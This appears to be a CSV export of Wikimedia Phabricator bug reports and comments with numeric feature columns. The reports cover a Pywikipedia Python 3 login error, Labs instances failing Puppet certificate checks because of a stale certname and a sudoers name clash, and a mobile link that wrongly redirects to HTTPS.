
C:\Pywikipedia>

--------------------------
**Version**: unspecified
**Severity**: major
**OS**: Windows 8
**Platform**: PC

**Attached**: {F13163}"
289321,Login Error with Python 3,"No bug fixed in the codebase, hence removing ""FIXED"" resolution.",,,1392720243,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-t4egbiggiv3dqu4aeiw6,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.9285714285714284,0.9285714285714286,"No bug fixed in the codebase, hence removing ""FIXED"" resolution."
289319,Login Error with Python 3,"**hassen.houssein** wrote:

Solved, 

Thanks",,,1392675942,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-t4egbiggiv3dqu4aeiw6,task_subcomment,,True,c3,1,False,,,-72,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.6666666666666666,"**hassen.houssein** wrote:

Solved, 

Thanks"
289317,Login Error with Python 3,Python 3 is not supported. Please download Python 2.7.6 from http://www.python.org/download/releases/2.7.6/ and try again.,,,1392674104,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-t4egbiggiv3dqu4aeiw6,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,25.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,0.875,Python 3 is not supported. Please download Python 2.7.6 from URL and try again.
63413,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","I created a (vanilla, no configuration, smallest image) instance yesterday (""icinga-scfc-test"") and the initial Puppet run didn't finish.  So I waited several hours, but still no luck.  Manual Puppet runs (""sudo puppetd -tv"") showed:

| err: Could not request certificate: The certificate retrieved from the master does not match the agent's private key.
| Certificate fingerprint: 05:91:9E:EE:6C:28:8B:24:FE:19:39:66:03:93:6C:44
| To fix this, remove the certificate from both the master and the agent and then start a puppet run, which will automatically regenerate a certficate.
| On the master:
|   puppet cert clean i-00000906.pmtpa.wmflabs
| On the agent:
|   rm -f /var/lib/puppet/ssl/certs/i-00000906.pmtpa.wmflabs.pem
|   puppet agent -t

I deleted the instance, created another one (""icinga-scfc-test2""), and ran into the same situation again.  I deleted the instance, created a bigger one (""icinga-scfc-test3""), and the error occured there as well (after waiting several hours in each case).

I reported this error in December (cf. http://permalink.gmane.org/gmane.org.wikimedia.labs/1976), but then it apparently resolved itself after waiting (cf. http://permalink.gmane.org/gmane.org.wikimedia.labs/1977), while now there doesn't seem to be any light at the end of the tunnel.  (i-00000906 is not (and was not then) the name of any of the created instances, but refers to labs-vmbuilder-precise.)

--------------------------
**Version**: unspecified
**Severity**: blocker",Needs Triage,90.0,1392453000,1404490694.0,PHID-USER-vk6mlmacfhx77egryy5i,False,,False,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_description,declined,True,c3,1,True,False,True,-72,True,1.5,0.0,0.0,0.0,1.75,2.5,0.25,0.0,0.0,0.0,0.75,0.5,0.0,0.0,0.25,1.25,0.0,5.75,4.75,0.0,0.5,0.0,0.25,0.0,3.75,0.0,0.0,0.0,0.25,0.25,0.0,1.25,0.25,0.75,0.25,0.0,0.25,0.25,0.0,0.5,0.5,0.0,0.75,1.25,0.0,0.0,0.0,0.0,0.0,16.25,0.25,0.25,0.25,0.0,0.0,0.0,0.0,0.0,1.25,0.0,0.0,1.25,0.0,0.0,0.0,0.0,0.0,5.5,1.0,5.75,0.25,2.75,8.0,0.0,0.0,0.0,0.0,2.5,0.25,0.25,0.0,2.0,4.75,4.25,0.0,2.0,0.0,2.0,0.0,0.25,1.0,0.25,0.5,0.25,0.25,0.25,3.7850941252839987,0.6432570593962998,"I created a (vanilla, no configuration, smallest image) instance yesterday (""icinga-scfc-test"") and the initial Puppet run didn't finish.  So I waited several hours, but still no luck.  Manual Puppet runs (""sudo puppetd -tv"") showed:

| err: Could not request certificate: The certificate retrieved from the master does not match the agent's private key.
| Certificate fingerprint: 05:91:9E:EE:6C:28:8B:24:FE:19:39:66:03:93:6C:44
| To fix this, remove the certificate from both the master and the agent and then start a puppet run, which will automatically regenerate a certficate.
| On the master:
|   puppet cert clean i-00000906.pmtpa.wmflabs
| On the agent:
|   rm -f /var/lib/puppet/ssl/certs/i-00000906.pmtpa.wmflabs.pem
|   puppet agent -t

I deleted the instance, created another one (""icinga-scfc-test2""), and ran into the same situation again.  I deleted the instance, created a bigger one (""icinga-scfc-test3""), and the error occured there as well (after waiting several hours in each case).

I reported this error in December (cf. URL but then it apparently resolved itself after waiting (cf. URL while now there doesn't seem to be any light at the end of the tunnel.  (i-00000906 is not (and was not then) the name of any of the created instances, but refers to labs-vmbuilder-precise.)

--------------------------
**Version**: unspecified
**Severity**: blocker"
286315,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","Yes, I just now deleted the 'nagios' project as it had no instances.",,,1404490694,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_subcomment,,True,c3,1,True,,,-52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,6.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2941176470588234,0.9411764705882353,"Yes, I just now deleted the 'nagios' project as it had no instances."
286311,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","abogott: Do you know if this happened, and does this make this ticket obsolete?",,,1404474275,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_subcomment,,True,c3,1,True,,,-52,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,18.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,6.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8823529411764706,0.8823529411764706,"abogott: Do you know if this happened, and does this make this ticket obsolete?"
286309,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","(In reply to Andrew Bogott from comment #7)
> So far no one has claimed ownership of the 'nagios' project, which means it
> will probably be shut down in the migration

Do you know if this happened, and does this make this ticket obsolete?",,,1400347957,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_subcomment,,True,c3,1,True,,,-59,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,3.0,10.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,3.0,13.0,10.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4838709677419355,0.8709677419354839,"(In reply to Andrew Bogott from comment #7)
QUOTE
QUOTE

Do you know if this happened, and does this make this ticket obsolete?"
286304,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","I'm not actively working on it.  The easy fix is to not have a project called 'nagios' :)

So far no one has claimed ownership of the 'nagios' project, which means it will probably be shut down in the migration, at which point this will be largely moot I think.",,,1395237814,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_subcomment,,True,c3,1,True,,,-68,True,0.0,0.0,0.0,2.0,3.0,3.0,3.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,3.0,0.0,11.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,0.0,8.0,3.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,7.0,5.0,7.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,7.0,0.0,7.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,3.4918032786885247,0.7704918032786885,"I'm not actively working on it.  The easy fix is to not have a project called 'nagios' :)

So far no one has claimed ownership of the 'nagios' project, which means it will probably be shut down in the migration, at which point this will be largely moot I think."
286299,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","Assuming this is still a problem, does somebody plan to work on this or is everybody busy with the Eqiad migration?",,,1395237495,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_subcomment,,True,c3,1,True,,,-68,True,0.0,9.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,13.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.130434782608695,0.9130434782608695,"Assuming this is still a problem, does somebody plan to work on this or is everybody busy with the Eqiad migration?"
286296,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","So... here's what I think is happening:

1)  Puppet can't run on instances in the 'nagios' project.  I think this is because of a name conflict... there seems to be a new /etc/sudoers.d/nagios file defined in production puppet which collides with the standard /etc/sudoers.d/<projectname> sudoers file.  (All of this is speculation, I haven't looked for the offending class yet.)

2)  Being unable to complete a puppet run, puppet.conf was never updated by puppet.

3)  #2 shouldn't have mattered because in theory our image automatically sets up puppet.conf.  But the image was broken due to the issue fixed in https://gerrit.wikimedia.org/r/#/c/113788/

Which that fix, new instances now throw the following error, which is what led me to speculate about step 1:

err: Could not retrieve catalog from remote server: Error 400 on SERVER: Duplicate definition: File[/etc/sudoers.d/nagios] is already defined in file /etc/puppet/manifests/sudo.pp at line 11; cannot redefine at /etc/puppet/manifests/sudo.pp:23 on node i-00000a70.pmtpa.wmflabs",,,1392656677,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_subcomment,,True,c3,1,True,,,-72,True,0.3333333333333333,0.0,0.0,1.6666666666666667,2.0,2.0,1.0,0.6666666666666666,0.0,0.0,1.6666666666666667,1.6666666666666667,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,4.666666666666667,9.333333333333334,0.0,1.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,4.666666666666667,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,14.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,2.6666666666666665,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,3.0,3.3333333333333335,5.666666666666667,0.6666666666666666,0.3333333333333333,5.666666666666667,0.0,0.0,0.0,0.3333333333333333,3.3333333333333335,0.0,1.6666666666666667,0.0,1.6666666666666667,9.333333333333334,4.666666666666667,0.0,0.6666666666666666,0.0,1.6666666666666667,0.0,2.0,1.0,0.3333333333333333,1.0,0.0,0.0,1.0,3.9768518518518516,0.7314814814814815,"So... here's what I think is happening:

1)  Puppet can't run on instances in the 'nagios' project.  I think this is because of a name conflict... there seems to be a new /etc/sudoers.d/nagios file defined in production puppet which collides with the standard /etc/sudoers.d/<projectname> sudoers file.  (All of this is speculation, I haven't looked for the offending class yet.)

2)  Being unable to complete a puppet run, puppet.conf was never updated by puppet.

3)  #2 shouldn't have mattered because in theory our image automatically sets up puppet.conf.  But the image was broken due to the issue fixed in URL

Which that fix, new instances now throw the following error, which is what led me to speculate about step 1:

err: Could not retrieve catalog from remote server: Error 400 on SERVER: Duplicate definition: File[/etc/sudoers.d/nagios] is already defined in file /etc/puppet/manifests/sudo.pp at line 11; cannot redefine at /etc/puppet/manifests/sudo.pp:23 on node i-00000a70.pmtpa.wmflabs"
286292,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","I've looked at this quite a bit now, but still have no good solution.  The problem seems limited to this particular project.  I suspect that the very first step of instance startup ('firstboot.sh') is not running, since that should set up puppet.conf properly.  That or there's some kind of early ldap failure.  I'll look at this more as soon as i have a chance.",,,1392476350,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_subcomment,,True,c3,1,True,,,-72,True,1.0,0.0,1.0,0.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,5.0,0.0,0.0,1.0,5.0,0.0,9.0,11.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,12.0,1.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,6.0,2.0,2.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,1.0,3.6463414634146343,0.7682926829268293,"I've looked at this quite a bit now, but still have no good solution.  The problem seems limited to this particular project.  I suspect that the very first step of instance startup ('firstboot.sh') is not running, since that should set up puppet.conf properly.  That or there's some kind of early ldap failure.  I'll look at this more as soon as i have a chance."
286290,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","Let's start with the last bit: No, I didn't even open the configuration field :-).

I usually run ""sudo puppetd -tv"" on the first login just because the initial motd is still the Ubuntu one.

But just now I created another instance (""ici""; the web form is really quick to react to Enter keys :-)), logged in, looked for a Puppet agent running (""ps auxfwww | fgrep puppet""), found none, looked in /var/lib/puppet/ssl/certs:

| scfc@ici:~$ sudo ls -l /var/lib/puppet/ssl/certs
| total 8
| -rw-r--r-- 1 puppet puppet 847 Feb 15 11:37 ca.pem
| -rw-r----- 1 puppet puppet 883 Feb 15 11:38 i-00000a66.pmtpa.wmflabs.pem
| scfc@ici:~$

and ran Puppet - boom:

| scfc@ici:~$ sudo puppetd -tv
| info: Creating a new SSL key for i-00000906.pmtpa.wmflabs
| info: Caching certificate for i-00000906.pmtpa.wmflabs
| err: Could not request certificate: The certificate retrieved from the master does not match the agent's private key.
| Certificate fingerprint: 05:91:9E:EE:6C:28:8B:24:FE:19:39:66:03:93:6C:44
| To fix this, remove the certificate from both the master and the agent and then start a puppet run, which will automatically regenerate a certficate.
| On the master:
|   puppet cert clean i-00000906.pmtpa.wmflabs
| On the agent:
|   rm -f /var/lib/puppet/ssl/certs/i-00000906.pmtpa.wmflabs.pem
|   puppet agent -t

| Exiting; failed to retrieve certificate and waitforcert is disabled
| scfc@ici:~$

Afterwards:

| scfc@ici:~$ sudo ls -l /var/lib/puppet/ssl/certs
| total 12
| -rw-r--r-- 1 puppet puppet 847 Feb 15 11:37 ca.pem
| -rw-r----- 1 puppet puppet 883 Feb 15 11:46 i-00000906.pmtpa.wmflabs.pem                                                                                     
| -rw-r----- 1 puppet puppet 883 Feb 15 11:38 i-00000a66.pmtpa.wmflabs.pem                                                                                     
| scfc@ici:~$

So I created another instance (""ici2""), didn't do anything but looked at /etc/puppet/puppet.conf:

| certname = i-00000906.pmtpa.wmflabs

Should that really be there?",,,1392465208,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.2,0.0,0.2,0.8,1.2,0.4,0.2,0.0,0.0,0.4,0.4,0.0,0.0,0.0,0.8,0.0,4.8,3.6,0.4,0.8,0.2,0.0,0.0,2.6,0.0,0.0,0.0,0.2,0.2,0.2,1.0,0.2,0.0,0.0,0.0,0.0,0.2,0.2,0.2,0.0,0.0,0.4,0.2,0.0,0.0,0.0,0.0,0.0,19.0,0.2,0.2,0.2,0.8,0.0,0.0,0.0,0.0,0.2,0.2,0.4,1.0,0.0,0.0,0.0,0.0,0.0,3.6,0.8,6.4,0.4,1.4,4.6,0.0,0.2,0.0,0.0,2.8,0.6,6.8,0.0,1.0,3.6,9.8,0.2,1.6,0.0,1.0,0.0,0.2,0.8,0.0,0.6,0.0,0.0,0.2,4.361577838000602,0.6186690755796447,"Let's start with the last bit: No, I didn't even open the configuration field :-).

I usually run ""sudo puppetd -tv"" on the first login just because the initial motd is still the Ubuntu one.

But just now I created another instance (""ici""; the web form is really quick to react to Enter keys :-)), logged in, looked for a Puppet agent running (""ps auxfwww | fgrep puppet""), found none, looked in /var/lib/puppet/ssl/certs:

| scfc@ici:~$ sudo ls -l /var/lib/puppet/ssl/certs
| total 8
| -rw-r--r-- 1 puppet puppet 847 Feb 15 11:37 ca.pem
| -rw-r----- 1 puppet puppet 883 Feb 15 11:38 i-00000a66.pmtpa.wmflabs.pem
| scfc@ici:~$

and ran Puppet - boom:

| scfc@ici:~$ sudo puppetd -tv
| info: Creating a new SSL key for i-00000906.pmtpa.wmflabs
| info: Caching certificate for i-00000906.pmtpa.wmflabs
| err: Could not request certificate: The certificate retrieved from the master does not match the agent's private key.
| Certificate fingerprint: 05:91:9E:EE:6C:28:8B:24:FE:19:39:66:03:93:6C:44
| To fix this, remove the certificate from both the master and the agent and then start a puppet run, which will automatically regenerate a certficate.
| On the master:
|   puppet cert clean i-00000906.pmtpa.wmflabs
| On the agent:
|   rm -f /var/lib/puppet/ssl/certs/i-00000906.pmtpa.wmflabs.pem
|   puppet agent -t

| Exiting; failed to retrieve certificate and waitforcert is disabled
| scfc@ici:~$

Afterwards:

| scfc@ici:~$ sudo ls -l /var/lib/puppet/ssl/certs
| total 12
| -rw-r--r-- 1 puppet puppet 847 Feb 15 11:37 ca.pem
| -rw-r----- 1 puppet puppet 883 Feb 15 11:46 i-00000906.pmtpa.wmflabs.pem                                                                                     
| -rw-r----- 1 puppet puppet 883 Feb 15 11:38 i-00000a66.pmtpa.wmflabs.pem                                                                                     
| scfc@ici:~$

So I created another instance (""ici2""), didn't do anything but looked at /etc/puppet/puppet.conf:

| certname = i-00000906.pmtpa.wmflabs

Should that really be there?"
286286,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","OK, on a working instance:

# ls -ltra /var/lib/puppet/ssl/certs
total 16
-rw-r--r-- 1 puppet puppet  847 Feb 15 08:42 ca.pem
-rw-r--r-- 1 puppet puppet  883 Feb 15 08:43 i-00000a65.pmtpa.wmflabs.pem

On icinga-scfc-test3:

# ls -ltra /var/lib/puppet/ssl/certs
total 20
-rw-r--r-- 1 puppet puppet  847 Feb 14 21:31 ca.pem
-rw-r----- 1 puppet puppet  883 Feb 14 21:32 i-00000a64.pmtpa.wmflabs.pem
-rw-r--r-- 1 puppet puppet  883 Feb 14 21:35 i-00000906.pmtpa.wmflabs.pem

Now my theory is that early in its life an instance thinks that its ID is i-00000906 (inherited by mistake from the original image build), and that if a user forces a puppet run during that early stage it tries to create a cert for the wrong ID and is forever after doomed.  Is that possibly what happened here?  Changing the certname in /etc/puppet/puppet.conf to the actual instance ID seems to resolve the problem.

(Another possibility, testing a weaker theory -- were specific puppet classes selected via the wikitech GUI before this instance was able to complete a puppet run?)",,,1392461820,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,0.3333333333333333,0.0,3.6666666666666665,1.6666666666666667,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,2.6666666666666665,6.333333333333333,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,19.333333333333332,0.0,2.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,5.0,2.3333333333333335,5.666666666666667,1.0,0.6666666666666666,7.0,0.0,0.0,0.0,0.6666666666666666,1.3333333333333333,0.3333333333333333,7.666666666666667,0.0,1.3333333333333333,6.333333333333333,6.666666666666667,1.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,2.6666666666666665,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,3.797204641350211,0.6476793248945149,"OK, on a working instance:

# ls -ltra /var/lib/puppet/ssl/certs
total 16
-rw-r--r-- 1 puppet puppet  847 Feb 15 08:42 ca.pem
-rw-r--r-- 1 puppet puppet  883 Feb 15 08:43 i-00000a65.pmtpa.wmflabs.pem

On icinga-scfc-test3:

# ls -ltra /var/lib/puppet/ssl/certs
total 20
-rw-r--r-- 1 puppet puppet  847 Feb 14 21:31 ca.pem
-rw-r----- 1 puppet puppet  883 Feb 14 21:32 i-00000a64.pmtpa.wmflabs.pem
-rw-r--r-- 1 puppet puppet  883 Feb 14 21:35 i-00000906.pmtpa.wmflabs.pem

Now my theory is that early in its life an instance thinks that its ID is i-00000906 (inherited by mistake from the original image build), and that if a user forces a puppet run during that early stage it tries to create a cert for the wrong ID and is forever after doomed.  Is that possibly what happened here?  Changing the certname in /etc/puppet/puppet.conf to the actual instance ID seems to resolve the problem.

(Another possibility, testing a weaker theory -- were specific puppet classes selected via the wikitech GUI before this instance was able to complete a puppet run?)"
286281,"New instances are stuck in ""The certificate retrieved from the master does not match the agent's private key.""","I just now tried creating a new instance, and it came up fine, and the puppet cert worked.  I do see the error on icinga-scfc-test3, though.

I want to think that this is some kind of occasional error that happens when there's an ID collision or when an old ID is used.  But the fact that it's complaining about an ID different from the instance is very strange.  I'll investigate further...  in the meantime, though, if you create yet another instance, most likely it'll work :/",,,1392461233,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-mdtyyujkjvr5h3v3u4gn,task_subcomment,,True,c3,1,True,,,-72,True,0.5,0.0,1.0,1.0,0.0,5.0,1.5,0.0,1.5,1.0,1.0,2.0,0.0,0.0,0.5,2.5,1.0,7.5,7.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,2.0,0.0,6.0,1.0,2.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,1.0,0.5,0.5,8.0,0.5,0.0,0.0,2.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,6.5,2.5,6.0,3.5,3.0,8.5,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,5.5,7.0,2.5,0.0,0.0,0.0,5.5,0.0,2.0,3.0,0.0,1.5,0.0,1.0,0.0,3.590909090909091,0.7818181818181819,"I just now tried creating a new instance, and it came up fine, and the puppet cert worked.  I do see the error on icinga-scfc-test3, though.

I want to think that this is some kind of occasional error that happens when there's an ID collision or when an old ID is used.  But the fact that it's complaining about an ID different from the instance is very strange.  I'll investigate further...  in the meantime, though, if you create yet another instance, most likely it'll work :/"
63358,Mobile view link unexpectedly goes to HTTPS,"**Author:** `grant`

**Description:**
clicking on the mobile line from a desktop pc
firefox 27
** 
Secure Connection Failed

An error occurred during a connection to www.idahothewhitewaterstate.com. SSL received a record that exceeded the maximum permissible length. (Error code: ssl_error_rx_record_too_long)
**
chrome
Unable to make a secure connection to the server. This may be a problem with the server, or it may be requiring a client authentication certificate that you don't have.
Error code: ERR_SSL_PROTOCOL_ERROR

works fine on the android

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows 7
**Platform**: PC
**Whiteboard**: aklapper-moreinfo",Needs Triage,90.0,1392345420,1401939837.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-mf5uxx45gr2em45poy6f,task_description,resolved,True,c3,1,False,False,True,-72,True,0.0,0.0,0.0,0.0,0.5,5.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,4.5,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.0,0.0,0.0,0.5,0.5,0.0,16.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.5,0.0,6.5,1.0,11.5,0.0,0.5,7.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,1.5,4.5,4.0,0.0,0.0,0.0,1.5,0.5,1.0,4.0,0.0,1.0,0.0,0.0,0.5,3.972194472194472,0.6191308691308691,"**Author:** CODE

**Description:**
clicking on the mobile line from a desktop pc
firefox 27
** 
Secure Connection Failed

An error occurred during a connection to www.idahothewhitewaterstate.com. SSL received a record that exceeded the maximum permissible length. (Error code: ssl_error_rx_record_too_long)
**
chrome
Unable to make a secure connection to the server. This may be a problem with the server, or it may be requiring a client authentication certificate that you don't have.
Error code: ERR_SSL_PROTOCOL_ERROR

works fine on the android

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows 7
**Platform**: PC
**Whiteboard**: aklapper-moreinfo"
283480,Mobile view link unexpectedly goes to HTTPS,"Change 137291 merged by MaxSem:
Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()

